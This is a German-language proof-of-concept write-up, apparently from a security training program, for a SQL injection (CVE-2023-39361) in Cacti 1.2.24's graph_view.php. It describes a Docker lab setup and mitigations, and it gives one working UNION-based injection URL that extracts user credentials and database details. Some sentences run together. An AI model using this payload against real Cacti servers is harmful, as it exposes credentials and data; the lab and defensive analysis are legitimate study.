
Proof-of-Concept-Exploit für Cacti 1.2.24 SQL-Injection in graph_view.php, die zu Remote-Code-Ausführung führt, mit Docker-basierter Laborumgebung und detaillierten Payload-Beispielen.
[ WHS 3. Generation ] - 남기찬_7342 (ChoDeokCheol)
grow_right_pane_tree der Datei graph_view.php.action auf tree_content gesetzt wird, existiert der benutzereingabeabhängige Parameter rfilter.rfilter wird durch die Funktion html_validate_tree_vars validiert, aber diese Prüfung überprüft lediglich, ob es sich um einen gültigen regulären Ausdruck handelt.rfilter in eine SQL-Abfrage eingefügt, was eine Code-Einschleusung ermöglicht.docker-compose -v, ob Docker Compose installiert ist und welche Version.docker-compose.yml und entrypoint.sh aus dem Verzeichnis cacti/CVE-2023-39361 von vulhub.docker compose up -d ein. (Image: cacti:1.2.24)

Diese Schwachstelle tritt auf, wenn die Authentifizierungseinstellungen so konfiguriert sind, dass auch normale Benutzer (Gast) die Graphen anzeigen können.
Die Schwachstelle kann mit den folgenden Parametereingaben nachgewiesen werden:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
Es ist erkennbar, dass die Antwort wie angefordert erfolgte.
SQL-Injection-Angriffe treten hauptsächlich auf, wenn während der Serverinteraktion Benutzereingaben akzeptiert werden. Durch diesen SQL-Injection-Angriff wurde die Vertraulichkeit der Datenbank beeinträchtigt, und es konnte festgestellt werden, dass Vermögenswerte offengelegt wurden.
Als Gegenmaßnahme für diese SQL-Injection könnte eine grundlegende Whitelist-Wertprüfung für rfilter durchgeführt werden oder Sonderzeichen wie (", ', ;, ...) escaped werden. Alternativ könnte eine Verbesserung durch die Verwendung einer ORM-Bibliothek wie Doctrine beim Datenbankzugriff erfolgen.